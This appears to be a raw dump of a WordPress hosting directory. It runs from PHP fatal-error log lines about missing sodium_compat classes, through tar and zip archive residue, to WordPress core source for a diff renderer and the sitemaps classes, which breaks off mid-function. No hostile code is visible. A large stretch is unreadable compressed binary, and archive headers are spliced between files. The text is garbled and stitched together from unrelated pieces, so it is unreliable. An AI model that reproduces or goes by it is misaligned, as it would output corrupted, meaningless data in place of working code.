[05-Nov-2025 00:23:34 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[05-Nov-2025 00:24:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[05-Nov-2025 00:24:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[05-Nov-2025 00:28:02 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[05-Nov-2025 00:34:13 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
[05-Nov-2025 00:35:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[05-Nov-2025 00:38:50 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[05-Nov-2025 00:41:42 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[05-Nov-2025 00:42:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[05-Nov-2025 16:47:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[05-Nov-2025 16:49:38 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
[05-Nov-2025 16:54:43 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[05-Nov-2025 18:39:28 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[05-Nov-2025 18:39:38 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
Xsalsa20.php000064400000000144151024322670006653 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class Xsalsa20 extends \ParagonIE_Sodium_Core_XSalsa20
{

}
14338/bookmark.php.php.tar.gz000064400000010407151024420100011525 0ustar00��ksG2_񯘸VJɲ
���c.;�9c�l�8��+��ZX�*;#�/�_w�{�+	�����yt�t��kړbʷ�%�ƿ�ۣ2�r1�9e<��z>���ގ�y.o{�b�}3�J�Q6O����i\���&�/>;�y��Q����ǻ;��fw�;��w`���Ǐ��&��g.d\�?��绿��6���z�}͎��S-Q��q��Y<z_s��(��AY����L�M0��a��qY���h	Kb�TZ�ك�no�]g�0�X1|�G��2 �=��%�%�j��/��%C�X����a,8��B��H�E�m��*�)Ksy'd�,�a[k�b�~�
L}Z�\�����f���ń���:OK��9/s&og��NsΊ1;}��᳋.럝�_
�]V���I��L���-��
�y�d��Y�թ�8?�Q���,�[B�|>�e:�c��!&�	`��;��x�I}�^#k�i&y��yq��
�&2�7w�0Ny�;*�H��$Z�����y����/0:�3�'p��
�]��y��p<ϕ̯��m'߮ݴo�c���a���=�f�_{��1k3>��[,��j6�K����i���2Bݍ��{-K຿�p�|`<�]\���z�F9P��#�f6ţ	�I��o=At�4�l��W8?�	��u{>�+N}�>[����~
ѿ�I���\���N��%�vk�����2��M���.o����c�!P��N_�i�T�����=-�*a�G/�.��f7<8Q�H�!ȣH3oK~]���n�`���΁8?��Tb:=>HO�Q(�*@m���',J�K�QXը:�n��먽�Tcs�jĠm��S�����s���{}ՅW����t�i�ݼ�c�����`�4�R%���B�`/�ڇ�N�:㡇f��S������ׁh�rt��xJ�O�w�f�(�z�&�a�@�����;z��GE.�{Y��fȘ��!E�M
�d��\��sAI*fY|�!����σò,�f�2 �m͇��Z�%얧�m�C'0��l��|�K�T�y����o�R��FQu�����M�K����ub��k������lF��R�Z%i�Ŕ��um)a7��	�/�a�XL^\^CL�Ka��ONb��8�D!��1Xg�n�9"�Â��-a�=�%�#�.��R��B_���5bi
�?=8��O����b��᣻l��b�I}��]�~��Xم�- ���[���F�Hѫ!0�FE*2�L}E�c�ԏ�Q/}�y�ٝ���T����~�l��v�\Yq����3w��~���M�Z����,��ϯ�$"����2�k|^�ֿ6�{
�B�*�Ԕ�NbT;�Z���D=˭~/U��N��tJe�<�P#H+�:'�K�e�U�����-��i��xG���h��0#���C3ŲL`��T�Ÿ��lV���B��phre�ek���fgp�-�[��ܶA��<+��xK`��*l
�]vt@D뚒��h$�e������d��Y�o�4n8-�)��-��`<$��4�4�v��0���>�	��2["+�5�{'�9G�;w�?G��j�)2��A�
�P������Y��{?�.,��4����
��BF_���a��?	�޶.��r4��9W?)E뱗�ן��x�pK�|����0 �e6��'�a�r��
9�Cx8gU��_��~?�Ѵ
2.��q��%��K*8��P�tC���(�Ɋ��F�+E�NLku\`f#w
�ECL�dt�ɭ]��i��-
f4O���TP~����2R�vhB�q@���U�fF	:b��Z���4#!i������e���E�g��6�Q������2і���e�(dT-�B��KL�=ЗV�WXO�(���@�.��3)

]2:�_�s~s�����R�X֡��)l	�&���zυM!�5��J�8�dVR�`d�f����.\��hp�VīR\�GX�����\��R��5H*�[OT�b���p.YR@
�%8�(-�ip�ac�V��)Lȕ Y	'8�\�N�@�$:q�b֚8�-Ȥ����~��k�T���<e�3��,��⒨QoGa�rKL�6H��ګT��%5�1�/2
D�LចdJ��1&ĩ~8oɕ1���mvt�����VY��' �,P��XW��w���W��Uʆ^�U�S(��4�~/9��1��f���X��̟��������E�+ֆb�����9�=��ʨW���p���:0��jU3j譢阊�
���3�G2������2P�$e�PP�{�����r
OX��wO�5�f9yPz�@�
���*�N�$W+��E��ޥT�F�IC|�Ք�P�<)6"2n������'D^�,����7�޻��
H�ޚ�
���)/�U��#�ʅ75E|��Ф.q&}X�.��w�����~E��� ��̒�=�Aڢ�>����6Y;>��!�Jt�d�m~Q3�n��PHW�����Ԛ#�7���W3*�Gg�h��1]>�:7�`5��@��X��ʩ}C��-){��x>4[�
(�y��Ԣ5P_�o�C��}�S:Mh^6I+҆e������tztb���.yF1���3��Ι,��	k�o�=�[e���mi�i�i��I���̌V��
w���1�����܀��3`��(u���}п8��~��N.��?f�v؋��_.;��>;9}��f���A�I��R4c��3�{������rr���ы����;("`0-�Vǀ��`K+�Ȋ^Vq����R]j6D��T��g`)F��a���%��w��=�
�O~�x"Vm�{0�ˍ/l�
�#�F۝�
�)��g�N[7C:q���<�� ��7���{D�Oj�E�G��KH��Q}�_1�B����<�H��t�%8a���_*��]vo]:m�k({0��|�̙Yڥ�_�d�Y���W�*�}�ZA�	�`�}��"�.�H˼�c��m��	�\l�H�/�|6k�h���"�.ਭ��c�0���ӄ
m�U�Sa��N�I���{���J��ZQ�sӆ��W���-�p���1���&p�H9+�
����,-����#�?Q�Xu���������՗Mè�ݚ�*rZ6y~_�*���CH�b��0�<\�]Sj6k���zcm�B0o��m|j0�$��p~��&u1�w�
�B���Bs��7��R�
�XUo��d��3��]s�̈�}2-����G�u�Ra��3P�
�Tj�u-]k��h�~��z4��ܘ����i|� 6.��,g��7t;j=��N����2�'�Ъ��������z���充Pż�o�m6�8Ї@�v� .-���r-'T�3dK�����v#��o�j���6��12���+�vi�tUG�7�1Ĺm��z��v�Z�S1:������툺��'�WG	~J-Qn�MbD��g����L7J��8����T]��M�}�slbGx�:Q�Y�!N�q�?6&��kt���]��^�F�خBm߶{K
��tʓ.fv�/���^H4�< �a8O�`�p2@22�����|��@	9��Ni�3�}yb�i�!���4�ڊ��u�Ư)v�$�z:f%�dxܫGo[��}�Yc���К��"T	E?�zm4F�%�k�Ô�n�]�#�n�?�����u��t���
EO��G

�h:��>:X���X���x\�jsWk\�佪Q����P���ԽŢ7"Z(~\X!�O2V=��
��:���A��/f�����KC2��{(���\��]�����K�m��->�i�)6Dң���ڼ���W6ߦQ����K�K��&�\��O��+$�<����y�kZ�ԻKnl�iߎ�'�.=��{�Z�`��y/5��d�$bu(�FW0��N^�e���o����^���W�(�r����C9B���t���a_���!�0���ߊx*d�TCXH�-��}S%^n�� P�*�ʋ�l���fV�^)�J���&9�ߔ�ج�������BUE�G|y��i�v�C��i@y���3jx��h�ځ�ÿ�"'�'�	�������@�B4a�h���{�V������7bQN��o�3N7^�bƈF� �楉8��͑���r�\�|�3.�ap}�_���e>�s�����v��!l�#!��AWj�W�`�Sdx6VG����*e���������������>�t jeD14338/Renderer.zip000064400000013062151024420100007507 0ustar00PK�Xd['ݣ��
inline.phpnu�[���<?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK�Xd['ݣ��
inline.phpnu�[���PKJ�14338/sitemaps.zip000064400000162633151024420100007577 0ustar00PK�Ud[����class-wp-sitemaps-index.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Index class.
 *
 * Generates the sitemap index.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Index.
 * Builds the sitemap index page that lists the links to all of the sitemaps.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Index {
	/**
	 * The main registry of supported sitemaps.
	 *
	 * @since 5.5.0
	 * @var WP_Sitemaps_Registry
	 */
	protected $registry;

	/**
	 * Maximum number of sitemaps to include in an index.
	 *
	 * @since 5.5.0
	 *
	 * @var int Maximum number of sitemaps.
	 */
	private $max_sitemaps = 50000;

	/**
	 * WP_Sitemaps_Index constructor.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Sitemaps_Registry $registry Sitemap provider registry.
	 */
	public function __construct( WP_Sitemaps_Registry $registry ) {
		$this->registry = $registry;
	}

	/**
	 * Gets a sitemap list for the index.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of all sitemaps.
	 */
	public function get_sitemap_list() {
		$sitemaps = array();

		$providers = $this->registry->get_providers();
		/* @var WP_Sitemaps_Provider $provider */
		foreach ( $providers as $name => $provider ) {
			$sitemap_entries = $provider->get_sitemap_entries();

			// Prevent issues with array_push and empty arrays on PHP < 7.3.
			if ( ! $sitemap_entries ) {
				continue;
			}

			// Using array_push is more efficient than array_merge in a loop.
			array_push( $sitemaps, ...$sitemap_entries );
			if ( count( $sitemaps ) >= $this->max_sitemaps ) {
				break;
			}
		}

		return array_slice( $sitemaps, 0, $this->max_sitemaps, true );
	}

	/**
	 * Builds the URL for the sitemap index.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @return string The sitemap index URL.
	 */
	public function get_index_url() {
		global $wp_rewrite;

		if ( ! $wp_rewrite->using_permalinks() ) {
			return home_url( '/?sitemap=index' );
		}

		return home_url( '/wp-sitemap.xml' );
	}
}
PK�Ud[aM�;class-wp-sitemaps.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps class
 *
 * This is the main class integrating all other classes.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps {
	/**
	 * The main index of supported sitemaps.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Index
	 */
	public $index;

	/**
	 * The main registry of supported sitemaps.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Registry
	 */
	public $registry;

	/**
	 * An instance of the renderer class.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Renderer
	 */
	public $renderer;

	/**
	 * WP_Sitemaps constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->registry = new WP_Sitemaps_Registry();
		$this->renderer = new WP_Sitemaps_Renderer();
		$this->index    = new WP_Sitemaps_Index( $this->registry );
	}

	/**
	 * Initiates all sitemap functionality.
	 *
	 * If sitemaps are disabled, only the rewrite rules will be registered
	 * by this method, in order to properly send 404s.
	 *
	 * @since 5.5.0
	 */
	public function init() {
		// These will all fire on the init hook.
		$this->register_rewrites();

		add_action( 'template_redirect', array( $this, 'render_sitemaps' ) );

		if ( ! $this->sitemaps_enabled() ) {
			return;
		}

		$this->register_sitemaps();

		// Add additional action callbacks.
		add_filter( 'robots_txt', array( $this, 'add_robots' ), 0, 2 );
	}

	/**
	 * Determines whether sitemaps are enabled or not.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether sitemaps are enabled.
	 */
	public function sitemaps_enabled() {
		$is_enabled = (bool) get_option( 'blog_public' );

		/**
		 * Filters whether XML Sitemaps are enabled or not.
		 *
		 * When XML Sitemaps are disabled via this filter, rewrite rules are still
		 * in place to ensure a 404 is returned.
		 *
		 * @see WP_Sitemaps::register_rewrites()
		 *
		 * @since 5.5.0
		 *
		 * @param bool $is_enabled Whether XML Sitemaps are enabled or not.
		 *                         Defaults to true for public sites.
		 */
		return (bool) apply_filters( 'wp_sitemaps_enabled', $is_enabled );
	}

	/**
	 * Registers and sets up the functionality for all supported sitemaps.
	 *
	 * @since 5.5.0
	 */
	public function register_sitemaps() {
		$providers = array(
			'posts'      => new WP_Sitemaps_Posts(),
			'taxonomies' => new WP_Sitemaps_Taxonomies(),
			'users'      => new WP_Sitemaps_Users(),
		);

		/* @var WP_Sitemaps_Provider $provider */
		foreach ( $providers as $name => $provider ) {
			$this->registry->add_provider( $name, $provider );
		}
	}

	/**
	 * Registers sitemap rewrite tags and routing rules.
	 *
	 * @since 5.5.0
	 */
	public function register_rewrites() {
		// Add rewrite tags.
		add_rewrite_tag( '%sitemap%', '([^?]+)' );
		add_rewrite_tag( '%sitemap-subtype%', '([^?]+)' );

		// Register index route.
		add_rewrite_rule( '^wp-sitemap\.xml$', 'index.php?sitemap=index', 'top' );

		// Register rewrites for the XSL stylesheet.
		add_rewrite_tag( '%sitemap-stylesheet%', '([^?]+)' );
		add_rewrite_rule( '^wp-sitemap\.xsl$', 'index.php?sitemap-stylesheet=sitemap', 'top' );
		add_rewrite_rule( '^wp-sitemap-index\.xsl$', 'index.php?sitemap-stylesheet=index', 'top' );

		// Register routes for providers.
		add_rewrite_rule(
			'^wp-sitemap-([a-z]+?)-([a-z\d_-]+?)-(\d+?)\.xml$',
			'index.php?sitemap=$matches[1]&sitemap-subtype=$matches[2]&paged=$matches[3]',
			'top'
		);
		add_rewrite_rule(
			'^wp-sitemap-([a-z]+?)-(\d+?)\.xml$',
			'index.php?sitemap=$matches[1]&paged=$matches[2]',
			'top'
		);
	}

	/**
	 * Renders sitemap templates based on rewrite rules.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function render_sitemaps() {
		global $wp_query;

		$sitemap         = sanitize_text_field( get_query_var( 'sitemap' ) );
		$object_subtype  = sanitize_text_field( get_query_var( 'sitemap-subtype' ) );
		$stylesheet_type = sanitize_text_field( get_query_var( 'sitemap-stylesheet' ) );
		$paged           = absint( get_query_var( 'paged' ) );

		// Bail early if this isn't a sitemap or stylesheet route.
		if ( ! ( $sitemap || $stylesheet_type ) ) {
			return;
		}

		if ( ! $this->sitemaps_enabled() ) {
			$wp_query->set_404();
			status_header( 404 );
			return;
		}

		// Render stylesheet if this is stylesheet route.
		if ( $stylesheet_type ) {
			$stylesheet = new WP_Sitemaps_Stylesheet();

			$stylesheet->render_stylesheet( $stylesheet_type );
			exit;
		}

		// Render the index.
		if ( 'index' === $sitemap ) {
			$sitemap_list = $this->index->get_sitemap_list();

			$this->renderer->render_index( $sitemap_list );
			exit;
		}

		$provider = $this->registry->get_provider( $sitemap );

		if ( ! $provider ) {
			return;
		}

		if ( empty( $paged ) ) {
			$paged = 1;
		}

		$url_list = $provider->get_url_list( $paged, $object_subtype );

		// Force a 404 and bail early if no URLs are present.
		if ( empty( $url_list ) ) {
			$wp_query->set_404();
			status_header( 404 );
			return;
		}

		$this->renderer->render_sitemap( $url_list );
		exit;
	}

	/**
	 * Redirects a URL to the wp-sitemap.xml
	 *
	 * @since 5.5.0
	 * @deprecated 6.7.0 Deprecated in favor of {@see WP_Rewrite::rewrite_rules()}
	 *
	 * @param bool     $bypass Pass-through of the pre_handle_404 filter value.
	 * @param WP_Query $query  The WP_Query object.
	 * @return bool Bypass value.
	 */
	public function redirect_sitemapxml( $bypass, $query ) {
		_deprecated_function( __FUNCTION__, '6.7.0' );

		// If a plugin has already utilized the pre_handle_404 function, return without action to avoid conflicts.
		if ( $bypass ) {
			return $bypass;
		}

		// 'pagename' is for most permalink types, name is for when the %postname% is used as a top-level field.
		if ( 'sitemap-xml' === $query->get( 'pagename' )
			|| 'sitemap-xml' === $query->get( 'name' )
		) {
			wp_safe_redirect( $this->index->get_index_url() );
			exit();
		}

		return $bypass;
	}

	/**
	 * Adds the sitemap index to robots.txt.
	 *
	 * @since 5.5.0
	 *
	 * @param string $output    robots.txt output.
	 * @param bool   $is_public Whether the site is public.
	 * @return string The robots.txt output.
	 */
	public function add_robots( $output, $is_public ) {
		if ( $is_public ) {
			$output .= "\nSitemap: " . esc_url( $this->index->get_index_url() ) . "\n";
		}

		return $output;
	}
}
PK�Ud[�E���class-wp-sitemaps-registry.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Registry class
 *
 * Handles registering sitemap providers.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Registry.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Registry {
	/**
	 * Registered sitemap providers.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Provider[] Array of registered sitemap providers.
	 */
	private $providers = array();

	/**
	 * Adds a new sitemap provider.
	 *
	 * @since 5.5.0
	 *
	 * @param string               $name     Name of the sitemap provider.
	 * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider.
	 * @return bool Whether the provider was added successfully.
	 */
	public function add_provider( $name, WP_Sitemaps_Provider $provider ) {
		if ( isset( $this->providers[ $name ] ) ) {
			return false;
		}

		/**
		 * Filters the sitemap provider before it is added.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider.
		 * @param string               $name     Name of the sitemap provider.
		 */
		$provider = apply_filters( 'wp_sitemaps_add_provider', $provider, $name );
		if ( ! $provider instanceof WP_Sitemaps_Provider ) {
			return false;
		}

		$this->providers[ $name ] = $provider;

		return true;
	}

	/**
	 * Returns a single registered sitemap provider.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Sitemap provider name.
	 * @return WP_Sitemaps_Provider|null Sitemap provider if it exists, null otherwise.
	 */
	public function get_provider( $name ) {
		if ( ! is_string( $name ) || ! isset( $this->providers[ $name ] ) ) {
			return null;
		}

		return $this->providers[ $name ];
	}

	/**
	 * Returns all registered sitemap providers.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Sitemaps_Provider[] Array of sitemap providers.
	 */
	public function get_providers() {
		return $this->providers;
	}
}
PK�Ud[��m==class-wp-sitemaps-provider.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Provider class
 *
 * This class is a base class for other sitemap providers to extend and contains shared functionality.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Provider.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
abstract class WP_Sitemaps_Provider {
	/**
	 * Provider name.
	 *
	 * This will also be used as the public-facing name in URLs.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Object type name (e.g. 'post', 'term', 'user').
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $object_type = '';

	/**
	 * Gets a URL list for a sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Object subtype name. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	abstract public function get_url_list( $page_num, $object_subtype = '' );

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 *
	 * @param string $object_subtype Optional. Object subtype. Default empty.
	 * @return int Total number of pages.
	 */
	abstract public function get_max_num_pages( $object_subtype = '' );

	/**
	 * Gets data about each sitemap type.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of sitemap types including object subtype name and number of pages.
	 */
	public function get_sitemap_type_data() {
		$sitemap_data = array();

		$object_subtypes = $this->get_object_subtypes();

		/*
		 * If there are no object subtypes, include a single sitemap for the
		 * entire object type.
		 */
		if ( empty( $object_subtypes ) ) {
			$sitemap_data[] = array(
				'name'  => '',
				'pages' => $this->get_max_num_pages(),
			);
			return $sitemap_data;
		}

		// Otherwise, include individual sitemaps for every object subtype.
		foreach ( $object_subtypes as $object_subtype_name => $data ) {
			$object_subtype_name = (string) $object_subtype_name;

			$sitemap_data[] = array(
				'name'  => $object_subtype_name,
				'pages' => $this->get_max_num_pages( $object_subtype_name ),
			);
		}

		return $sitemap_data;
	}

	/**
	 * Lists sitemap pages exposed by this provider.
	 *
	 * The returned data is used to populate the sitemap entries of the index.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of sitemap entries.
	 */
	public function get_sitemap_entries() {
		$sitemaps = array();

